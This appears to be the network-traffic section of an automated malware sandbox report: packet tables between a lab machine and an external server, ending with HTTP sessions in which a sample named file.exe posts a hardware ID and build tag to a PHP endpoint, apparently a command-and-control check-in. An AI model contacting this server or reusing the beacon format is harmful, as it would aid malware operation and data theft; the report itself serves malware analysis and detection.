Oct 8, 2024 05:27:20.624428988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624440908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624455929 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624459028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624459028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624470949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624483109 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624485970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624500990 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624501944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624511957 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624527931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624528885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624543905 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624545097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624560118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624574900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624591112 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624591112 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624591112 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624591112 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624612093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624614000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624627113 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624628067 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624650955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624665976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624679089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624681950 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624681950 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624701977 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624702930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624720097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624725103 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624725103 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624736071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624746084 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624748945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624763966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624777079 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624777079 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624788046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624804974 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624813080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624813080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624825954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624830961 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624845982 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624861002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624872923 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624872923 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624875069 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624890089 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624890089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624903917 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624905109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624921083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624929905 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624931097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624937057 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624953985 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624953985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624969006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.624972105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.624982119 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625001907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625005960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625025988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625065088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625070095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625087023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625121117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625121117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625194073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625209093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625222921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625236988 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625251055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625252962 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625252962 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625266075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625281096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625286102 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625286102 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625297070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625319958 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625339985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625355005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625369072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625382900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625385046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625385046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625397921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625411987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625433922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625439882 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625448942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625463009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625463009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625473976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625488997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625497103 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625497103 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625504017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625519037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625535011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625535011 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625535011 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625550032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625557899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625565052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625572920 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625576019 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625592947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625608921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625619888 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625619888 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625624895 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625639915 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625641108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.625668049 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625668049 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.625838995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.659410000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.664298058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.877999067 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878020048 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878036022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878051043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878067017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878082037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878103018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878134966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878149033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878176928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878191948 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878206968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878211975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878211975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878211975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878211975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878221989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878237963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878253937 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878254890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878266096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878272057 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878277063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878298044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878313065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878319979 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878329992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878340006 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878345013 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878360987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878369093 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878381968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878393888 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878397942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878418922 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878422022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878437996 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878442049 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878458023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878467083 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878473997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878488064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878489017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878504038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878504992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878520966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878526926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878537893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878551960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878552914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878566980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878580093 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878582954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878598928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878606081 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878624916 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878648043 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878740072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878786087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:20.878799915 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878813028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:20.878874063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.040625095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040647030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040662050 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040683985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040699005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040713072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040720940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040721893 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.040735960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040751934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040754080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.040754080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.040766954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.040767908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040786028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040800095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040800095 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.040812969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.040816069 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040832043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040843964 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.040860891 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.040884018 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.040898085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040914059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040927887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040942907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.040942907 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040952921 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.040960073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040967941 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.040975094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040987015 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.040991068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.040994883 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041007042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041018009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041029930 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041039944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041232109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041246891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041261911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041273117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041277885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041285038 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041295052 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041295052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041309118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041313887 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041323900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041327000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041340113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041356087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041404009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041404009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041404009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041404009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041405916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041420937 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041435003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041444063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041450024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041464090 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041477919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041492939 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.041502953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041502953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041502953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041502953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041544914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.041544914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.454463005 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.454495907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:21.459412098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:21.459593058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:22.342437983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:22.342493057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:22.654566050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:22.660175085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:22.886533022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:22.886550903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:22.886562109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:22.886622906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:22.886677027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:22.889198065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:22.894128084 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:23.110460997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:23.110588074 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:23.123353958 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:23.128333092 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:23.840934038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:23.841049910 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:23.866103888 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:23.873708963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:24.094846010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:24.094866991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:24.094871998 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:24.094896078 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:24.094922066 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:24.094933033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:24.094939947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:24.094944000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:24.094990015 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:24.095009089 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:24.095125914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:24.095132113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:24.095143080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:24.095149040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:24.095155001 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:24.095160961 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:24.095176935 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:24.095191956 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:24.095210075 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:24.097449064 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:24.102219105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:24.805804014 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:24.805866003 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:29.122163057 CEST	49706	80	192.168.2.5	185.215.113.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 05:27:26.354597092 CEST	53	55747	1.1.1.1	192.168.2.5

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	185.215.113.37	80	6544	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 05:27:08.102214098 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 05:27:08.830108881 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 05:27:08.833779097 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEB Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 34 39 36 34 30 44 34 34 46 43 42 31 36 38 31 38 39 35 35 38 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 2d 2d 0d 0a Data Ascii: ------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="hwid"049640D44FCB1681895587------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="build"doma------AAEHIDAKECFIEBGDHJEB--
